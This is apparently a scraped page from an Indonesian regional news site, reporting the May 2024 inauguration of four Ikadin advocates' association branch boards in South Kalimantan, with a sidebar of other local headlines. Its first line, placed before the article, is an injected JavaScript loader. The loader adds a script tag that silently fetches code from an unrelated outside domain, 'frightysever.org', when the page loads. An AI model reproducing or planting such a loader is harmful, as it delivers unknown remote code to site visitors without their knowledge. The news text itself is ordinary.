(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Empat DPC Ikadin di Kalsel 2023-2026 Dilantik


KANALKALIMANTAN.COM, BANJARMASIN – Ketua Umum Dewan Pimpinan Pusat (DPP) Ikatan Advokat Indonesia (Ikadin), Dr Adardam Achyar SH MH resmi melantik empat Dewan Pengurus Cabang (DPC) Ikadin di Provinsi Kalimantan Selatan periode 2023-2026.

Empat pengurus DPC yang dilantik antara lain DPC Ikadin Banjarbaru-Martapura, DPC Ikadin Barabai (Kabupaten Hulu Sungai Tengah), DPC Ikadin Tanjung (Kabupaten Tabalong), dan DPC Ikadin Kotabaru.

Ikadin Banjarbaru-Martapura periode 2023-2026 kini diketuai Dr Abdul Hamid SH MH, Ikadin Barabai diketuai Nasyiah SH MH , Ikadin Tanjung diketuai Dr Gusti Mulyadi SH MH, dan Ikadin Kotabaru dipimpin Syaidinur SH MSi.

Prosesi pelantikan yang dilaksanakan pada Sabtu (25/5/2024) malam, di Hotel Aston, Kabupaten Banjar, berlangsung dengan khidmat. Dengan rangkaian acara pertujukan kesenian tari Radap Rahayu khas Banjar dan pertujukan teater Mamanda.

Baca juga: Aeris Hotel Banjarbaru Diberi SP 1, SLF dan Andalalin Belum Lengkap

Ketua DPP Ikadin, Adardam Achyar mengatakan dengan dilantiknya empat pengurus cabang Ikadin di Kalsel, dapat terus memberikan bantuan hukum kepada masyarakat yang ingin mencari keadilan namun tidak mampu secara finansial.

Dirinya berharap pengurus Ikadin tetap bisa memperjuangkan keadilan hukum. Sebab menurutnya perjuangan di Ikadin bukanlah perjuangan fisik, melainkan memperjuangkan hukum dan Hak Asasi Manusia (HAM).

“Berbicara hukum dan HAM adalah bicara nurani,” kata Achyar.

Ketua DPP Ikadin menekankan, Ikadin merupakan wadah perjuangan bagi para advokat, dimana memiliki tiga tujuan mulia didalamnya. Yaitu bantuan hukum, penyuluhan hukum, dan berperan aktif dalam politik hukum.

Baca juga: Andoko Abdi Lamar Partai Sendiri, Putusan Pasangan Ada di DPP

Untuk menjalankan bantuan hukum kata Achyar, Ikadin di daerah dapat bekerja sama dengan pengadilan setempat dengan mengisi Pusbakum (Pusat Bantuan Hukum). Kemudian untuk penyuluhan hukum dapat bekerja sama dengan Lembaga Pemasyarakatan (Lapas) atau instansi lainnya.

“Sementara untuk tujuan politik hukum, Ikadin ikut memberikan masukan dalam penyusunan Perda (Peraturan Daerah) yang berhubungan dengan masyarakat kecil,” katanya.

Salah satu Ketua yang dilantik Gusti Mulyadi mengaku akan segera membentuk Pusat Bantuan Hukum (Pusbakum) di Kota Tanjung yang diperuntukan bagi masyarakat yang ingin mencari keadilan.

“Kedepannya kita memang akan mendirikan pusat bantuan hukum, untuk orang-orang yang tidak mampu, targetnya tiga bulan kedepan bisa terbentuk,” kata Mulyadi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

2 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

3 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

3 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

3 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

18 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.